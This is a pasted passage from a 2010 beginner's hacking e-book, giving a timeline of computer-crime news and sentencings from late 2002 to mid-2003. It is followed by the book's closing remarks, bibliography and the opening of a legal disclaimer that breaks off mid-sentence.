[2002 Oct 4] Hacker Vasily Gorshkov, 27, of Chelyabinsk, Russia, is sentenced to three years in prison for convictions on 20 counts of conspiracy, fraud and related computer crimes. Gorshkov is also ordered to pay restitution of nearly $700,000 for losses he caused to Speakeasy Network of Seattle, and the online credit card payment company PayPal .

[2002 Oct 8] CERT (Computer Emergency Response Team) advisory is released detailing the discovery of a back door (trojan horse) found in the source code files of Sendmail 8.12.6.

[2002 Oct 16] Microsoft admits to being hacked. The security breach took place on a server that hosts Microsoft's Windows beta community, which allows more than 20,000 Windows users a chance to test software that is still in development.

[2002 Oct 21] A distributed denial-of-service (Dee-Dos) attack, lasting one hour, sent a barrage of data at the13 domainname
service root servers. The attack was in the form of an ICMP flood, which was blocked by many of the root servers, preventing any real loss of network performance.

[2002 Nov 12] Gary McKinnon ('Solo'), 36, of London, an unemployed British sysadmin was indicted for what US authorities describe as the "biggest hack of military computers ever detected". From February 2001 until March 2002, McKinnon allegedly exploited poorly- secured Windows systems to attack 92 networks run by NASA , the Pentagon and 12 other military installation scattered over 14 states. Private sector businesses were also affected by the alleged attacks, which caused an estimated $900,000 in damage overall. Prosecutors said that McKinnon "stole passwords, deleted files, monitored traffic and shut down computer networks on military bases from Pearl Harbour to Connecticut".

[2002 Nov 22] Lisa Chen, a 52-year-old Taiwanese woman who pleaded no contest in one of the largest software piracy cases in the U.S. was sentenced to nine years in prison, one of the longest sentences ever for a case involving software piracy. Chen was arrested along with three associates in November 2001 after local sheriffs seized hundreds of thousands of copies of pirated software worth more than $75 million, software that Chen smuggled from Taiwan.

[2002 Dec 17] A jury acquitted ElcomSoft, Russian software company, of criminal copyright charges related to selling a program that can crack antipiracy protections on electronic books. The case against ElcomSoft is considered a crucial test of the criminal provisions of the Digital Millennium Copyright Act (DMCA), a controversial law designed to extend copyright protections into the digital age.

[2003 Jan 21] Computer hacker Kevin Mitnick is goes online for the first time in nearly a decade. He was captured in a raid and sent to jail for almost five years for computer crimes against companies including Sun Microsystems and Motorola . The prison term was followed by another three and a half years of restrictions regarding Mitnick's access to computers and the Internet.

[2003 Jan 21] Simon Vallor , 22, a British Web designer was sentenced to two years in prison for writing one of the world's most destructive viruses which wiped out computers worldwide. Vallor was the author of 3 viruses -- "Gokar," "Redesi," and "Admirer" -- "Gokar" spread the most widely and was at one point ranked as the third most prevalent virus of all time.

[2003 Feb 6] Douglas Boudreau, 21, allegedly installed keystroke monitoring software on more than 100 computers at Boston College and then watched as thousands of people sent e-mail, downloaded files and banked online. He was later indicted on charges he placed software on dozens of computers that allowed him to secretly monitor what people were typing, and then stole around $2,000 using information he gleaned.

[2003 Feb 7] Two hackers who broke into Riverside County, Calif., court computers and electronically dismissed a variety of pending cases plead guilty to the crime. Both William Grace, 22, and Brandon Wilson, 28, were sentenced to nine years in jail after pleading guilty to 72 counts of illegally entering a computer system and editing data, along with seven counts of conspiracy to commit extortion

[2003 Feb 10] Twice in the past two weeks, online vandals- -like the ones who tagged many Web sites with"Free Kevin!" graffiti during Mitnick's time in prison- -broke into the Web server of the former hacker's security start-up,Defensive Thinking .

[2003 Feb 18] It's reported that a hacker ("unauthorized intruder") gained access to some 8 million credit card account numbers —including Visa, MasterCard and American Express —by breaching the security of a company that processes transactions for merchants, the card companies said.

[2003 Mar 7] Online attackers stole information on more than 55,000 students and faculty from insecure database servers at the University of Texas at Austin.

[2003 Apr 29] New Scotland Yard said Wednesday they arrested 24-year-old Lynn Htun at a London convention center,

the site of InfoSecurity Europe 2003. Law enforcement and Internet security professionals said they believe Htun is the mastermind of the “Fluffi Bunni ” hacking exploits, hacking into sites ranging from those ofMcDonalds Corp to Internet security specialists SANS Institute and Symantec Corp’s virus detection group SecurityFocus .

[2003 Jun 12] Web designer John Racine II, 24, admitted diverting traffic and e-mails from al-Jazeera's Arabic Web site to a site he had designed called "Let Freedom Ring" and bearing the U.S. flag. John carried out this attack on the al-Jazeera Web site during the Iraq war because the Arab satellite TV network had shown pictures of dead and captured American soldiers.

[2003 Jul 6] Internet experts brace for hacker contest. The assault is being billed as a contest to see who can deface 6,000 Web sites in six hours. The widely publicised hacking contest which encouraged vandals to deface websites ended without causing serious trouble.

Bibliography

Thanks For reading this book and I hope the contents described in this book will help you to know the minds of hackers. Now you are capable of securing your own and your surrounding computers from the Threat we called “HACKING”.

www.hackingtech.co.tv

www.google.com

www.wikipedia.com

And various blogs for images and tips.

RAW Paste Data

Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 2
Legal Disclaimer
Any proceedings and or activities related to the material contained within this book are exclusively your liability. The misuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons in

question. The authors and review analyzers will not be held responsible in the event any unlawful charges brought against any individuals by misusing the information in this book to break the law. This book contains material and resources that can be potentially destructive or dangerous. If you do not fully comprehend something on this book, don‘t study this